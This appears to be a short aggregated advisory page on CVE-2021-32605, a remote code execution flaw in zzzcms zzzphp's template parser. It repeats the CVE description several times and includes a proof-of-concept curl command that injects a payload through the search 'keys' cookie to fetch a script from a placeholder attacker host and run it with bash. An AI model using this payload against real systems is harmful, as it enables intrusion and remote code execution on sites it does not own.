CVE-2021-32605

zzzcms zzzphp before 2.0.4 allows remote attackers to execute arbitrary OS commands by placing them in the keys parameter of a ?location=search URI, as demonstrated by an OS command within an "if" "end if" block...

zzzcms zzzphp parserIfLabel模板注入远程执行代码漏洞（CVE-2021-32605）

curl -b 'keys=if:=curl http://attacker.tld/poc.sh|bashend if' 'http://target.tld/?location=search'...

CVE-2021-32605

zzzcms zzzphp before 2.0.4 allows remote attackers to execute arbitrary OS commands by placing them in the keys parameter of a ?location=search URI, as demonstrated by an OS command within an "if" "end if" block...

CVE-2021-32605

The CVE-2021-32605 entry concerns zzzcms/zzzphp before 2.0.4, where the parserIfLabel template processing fails to validate user-provided keys in the ?location=search flow, enabling remote code execution. The vulnerability allows an attacker to run arbitrary OS commands or code via a crafted keys...